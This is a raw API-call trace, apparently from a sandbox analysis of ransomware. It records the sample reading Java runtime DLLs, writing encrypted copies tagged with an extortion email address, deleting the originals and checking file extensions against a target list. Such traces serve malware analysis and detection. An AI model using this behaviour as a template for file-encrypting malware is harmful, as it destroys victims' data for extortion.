	[0087.081] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0087.081] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.081] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.081] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0087.081] GetLastError () returned 0x0
	[0087.081] ReadFile (in: hFile=0x394, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x2aa40, lpOverlapped=0x0) returned 1
	[0087.086] WriteFile (in: hFile=0x328, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x2aa50, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x2aa50, lpOverlapped=0x0) returned 1
	[0087.089] ReadFile (in: hFile=0x394, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.089] WriteFile (in: hFile=0x328, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0xe2, lpOverlapped=0x0) returned 1
	[0087.090] SetEndOfFile (hFile=0x328) returned 1
	[0087.090] CloseHandle (hObject=0x328) returned 1
	[0087.090] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.090] SetEndOfFile (hFile=0x394) returned 1
	[0087.091] CloseHandle (hObject=0x394) returned 1
	[0087.092] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0087.092] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll")) returned 1
	[0087.092] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46
	[0087.092] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46
	[0087.092] lstrlenW (lpString=".doc") returned 4
	[0087.092] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0087.092] lstrlenW (lpString=".docx") returned 5
	[0087.092] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1
	[0087.092] lstrlenW (lpString=".pdf") returned 4
	[0087.092] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0087.092] lstrlenW (lpString=".xls") returned 4
	[0087.092] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0087.092] lstrlenW (lpString=".xlsx") returned 5
	[0087.092] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1
	[0087.092] lstrlenW (lpString=".ppt") returned 4
	[0087.092] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0087.092] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46
	[0087.092] lstrlenW (lpString=".zip") returned 4
	[0087.092] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0087.092] lstrlenW (lpString=".rar") returned 4
	[0087.092] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0087.093] lstrlenW (lpString=".bz2") returned 4
	[0087.093] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0087.093] lstrlenW (lpString=".7z") returned 3
	[0087.093] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0087.093] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46
	[0087.093] lstrlenW (lpString=".dbf") returned 4
	[0087.093] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0087.093] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46
	[0087.093] lstrlenW (lpString=".1cd") returned 4
	[0087.093] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0087.093] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46
	[0087.093] lstrlenW (lpString=".jpg") returned 4
	[0087.093] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0087.093] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46
	[0087.093] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46
	[0087.093] lstrlenW (lpString=".doc") returned 4
	[0087.093] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0087.093] lstrlenW (lpString=".docx") returned 5
	[0087.093] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1
	[0087.093] lstrlenW (lpString=".pdf") returned 4
	[0087.093] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0087.093] lstrlenW (lpString=".xls") returned 4
	[0087.093] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0087.093] lstrlenW (lpString=".xlsx") returned 5
	[0087.093] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1
	[0087.093] lstrlenW (lpString=".ppt") returned 4
	[0087.093] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0087.093] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46
	[0087.093] lstrlenW (lpString=".zip") returned 4
	[0087.093] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0087.093] lstrlenW (lpString=".rar") returned 4
	[0087.093] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0087.094] lstrlenW (lpString=".bz2") returned 4
	[0087.094] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0087.094] lstrlenW (lpString=".7z") returned 3
	[0087.094] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0087.094] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46
	[0087.094] lstrlenW (lpString=".dbf") returned 4
	[0087.094] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0087.094] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46
	[0087.094] lstrlenW (lpString=".1cd") returned 4
	[0087.094] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0087.094] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll") returned 46
	[0087.094] lstrlenW (lpString=".jpg") returned 4
	[0087.094] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0087.094] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0087.094] lstrlenW (lpString="jp2iexp.dll") returned 11
	[0087.094] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0087.094] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=296000) returned 1
	[0087.094] CloseHandle (hObject=0x394) returned 1
	[0087.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll")) returned 0x20
	[0087.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0087.095] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0087.095] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.095] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.095] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0087.105] GetLastError () returned 0x0
	[0087.106] ReadFile (in: hFile=0x394, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x48440, lpOverlapped=0x0) returned 1
	[0087.570] WriteFile (in: hFile=0x328, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x48450, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x48450, lpOverlapped=0x0) returned 1
	[0087.576] ReadFile (in: hFile=0x394, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.576] WriteFile (in: hFile=0x328, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0xea, lpOverlapped=0x0) returned 1
	[0087.576] SetEndOfFile (hFile=0x328) returned 1
	[0087.576] CloseHandle (hObject=0x328) returned 1
	[0087.577] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.577] SetEndOfFile (hFile=0x394) returned 1
	[0087.580] CloseHandle (hObject=0x394) returned 1
	[0087.580] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0087.580] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll")) returned 1
	[0087.580] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50
	[0087.580] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50
	[0087.580] lstrlenW (lpString=".doc") returned 4
	[0087.580] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0087.580] lstrlenW (lpString=".docx") returned 5
	[0087.580] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1
	[0087.580] lstrlenW (lpString=".pdf") returned 4
	[0087.580] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0087.580] lstrlenW (lpString=".xls") returned 4
	[0087.580] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0087.580] lstrlenW (lpString=".xlsx") returned 5
	[0087.580] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1
	[0087.581] lstrlenW (lpString=".ppt") returned 4
	[0087.581] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0087.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50
	[0087.581] lstrlenW (lpString=".zip") returned 4
	[0087.581] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0087.581] lstrlenW (lpString=".rar") returned 4
	[0087.581] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0087.581] lstrlenW (lpString=".bz2") returned 4
	[0087.581] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0087.581] lstrlenW (lpString=".7z") returned 3
	[0087.581] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0087.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50
	[0087.581] lstrlenW (lpString=".dbf") returned 4
	[0087.581] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0087.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50
	[0087.581] lstrlenW (lpString=".1cd") returned 4
	[0087.581] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0087.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50
	[0087.581] lstrlenW (lpString=".jpg") returned 4
	[0087.581] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0087.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50
	[0087.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50
	[0087.581] lstrlenW (lpString=".doc") returned 4
	[0087.581] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0087.581] lstrlenW (lpString=".docx") returned 5
	[0087.581] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1
	[0087.581] lstrlenW (lpString=".pdf") returned 4
	[0087.581] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0087.581] lstrlenW (lpString=".xls") returned 4
	[0087.581] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0087.581] lstrlenW (lpString=".xlsx") returned 5
	[0087.581] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1
	[0087.581] lstrlenW (lpString=".ppt") returned 4
	[0087.582] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0087.582] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50
	[0087.582] lstrlenW (lpString=".zip") returned 4
	[0087.582] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0087.582] lstrlenW (lpString=".rar") returned 4
	[0087.582] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0087.582] lstrlenW (lpString=".bz2") returned 4
	[0087.582] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0087.582] lstrlenW (lpString=".7z") returned 3
	[0087.582] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0087.582] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50
	[0087.582] lstrlenW (lpString=".dbf") returned 4
	[0087.582] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0087.582] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50
	[0087.582] lstrlenW (lpString=".1cd") returned 4
	[0087.582] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0087.582] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50
	[0087.582] lstrlenW (lpString=".jpg") returned 4
	[0087.582] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0087.582] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0087.582] lstrlenW (lpString="msvcp120.dll") returned 12
	[0087.582] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0087.583] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=660128) returned 1
	[0087.583] CloseHandle (hObject=0x394) returned 1
	[0087.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll")) returned 0x20
	[0087.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0087.583] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0087.583] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.583] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.583] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0087.584] GetLastError () returned 0x0
	[0087.584] ReadFile (in: hFile=0x394, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0xa12a0, lpOverlapped=0x0) returned 1
	[0087.598] WriteFile (in: hFile=0x328, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0xa12b0, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0xa12b0, lpOverlapped=0x0) returned 1
	[0088.086] ReadFile (in: hFile=0x394, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.086] WriteFile (in: hFile=0x328, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.086] SetEndOfFile (hFile=0x328) returned 1
	[0088.086] CloseHandle (hObject=0x328) returned 1
	[0088.087] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.087] SetEndOfFile (hFile=0x394) returned 1
	[0088.092] CloseHandle (hObject=0x394) returned 1
	[0088.092] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0088.093] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll")) returned 1
	[0088.134] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51
	[0088.134] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51
	[0088.134] lstrlenW (lpString=".doc") returned 4
	[0088.134] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0088.134] lstrlenW (lpString=".docx") returned 5
	[0088.134] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0088.134] lstrlenW (lpString=".pdf") returned 4
	[0088.134] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0088.134] lstrlenW (lpString=".xls") returned 4
	[0088.134] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0088.134] lstrlenW (lpString=".xlsx") returned 5
	[0088.134] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0088.134] lstrlenW (lpString=".ppt") returned 4
	[0088.134] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0088.134] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51
	[0088.134] lstrlenW (lpString=".zip") returned 4
	[0088.134] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0088.135] lstrlenW (lpString=".rar") returned 4
	[0088.135] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0088.135] lstrlenW (lpString=".bz2") returned 4
	[0088.135] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0088.135] lstrlenW (lpString=".7z") returned 3
	[0088.135] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0088.135] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51
	[0088.135] lstrlenW (lpString=".dbf") returned 4
	[0088.135] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0088.135] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51
	[0088.135] lstrlenW (lpString=".1cd") returned 4
	[0088.135] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0088.135] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51
	[0088.135] lstrlenW (lpString=".jpg") returned 4
	[0088.135] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0088.135] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51
	[0088.135] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51
	[0088.135] lstrlenW (lpString=".doc") returned 4
	[0088.135] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0088.135] lstrlenW (lpString=".docx") returned 5
	[0088.135] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0088.135] lstrlenW (lpString=".pdf") returned 4
	[0088.135] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0088.135] lstrlenW (lpString=".xls") returned 4
	[0088.135] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0088.135] lstrlenW (lpString=".xlsx") returned 5
	[0088.135] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0088.135] lstrlenW (lpString=".ppt") returned 4
	[0088.135] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0088.135] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51
	[0088.135] lstrlenW (lpString=".zip") returned 4
	[0088.135] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0088.135] lstrlenW (lpString=".rar") returned 4
	[0088.136] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0088.136] lstrlenW (lpString=".bz2") returned 4
	[0088.136] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0088.136] lstrlenW (lpString=".7z") returned 3
	[0088.136] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0088.136] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51
	[0088.136] lstrlenW (lpString=".dbf") returned 4
	[0088.136] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0088.136] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51
	[0088.136] lstrlenW (lpString=".1cd") returned 4
	[0088.136] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0088.136] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51
	[0088.136] lstrlenW (lpString=".jpg") returned 4
	[0088.136] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0088.136] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0088.136] lstrlenW (lpString="npt.dll") returned 7
	[0088.136] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) 

Thread:
	id = 13
	os_tid = 0xe0

	[0057.881] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x5be7d0
	[0057.882] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x5ce7d8
	[0057.882] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5492e0
	[0057.882] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x5468c8
	[0057.882] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5494f0
	[0057.882] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x3ac3020
	[0057.885] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5493a0
	[0057.885] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5493a0, Size=0x20) returned 0x52d908
	[0057.885] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5492f8
	[0057.885] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5492f8, Size=0x20) returned 0x52d930
	[0057.885] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000
	[0057.885] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30
	[0057.885] Wow64DisableWow64FsRedirection (in: OldValue=0x2fdff50 | out: OldValue=0x2fdff50*=0x0) returned 1
	[0057.886] lstrlenW (lpString="kernel32.dll") returned 12
	[0057.886] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d908 | out: hHeap=0x4f0000) returned 1
	[0057.886] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0057.886] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d930 | out: hHeap=0x4f0000) returned 1
	[0057.886] Sleep (dwMilliseconds=0x64) 
	[0059.762] Sleep (dwMilliseconds=0x64) 
	[0060.161] Sleep (dwMilliseconds=0x64) 
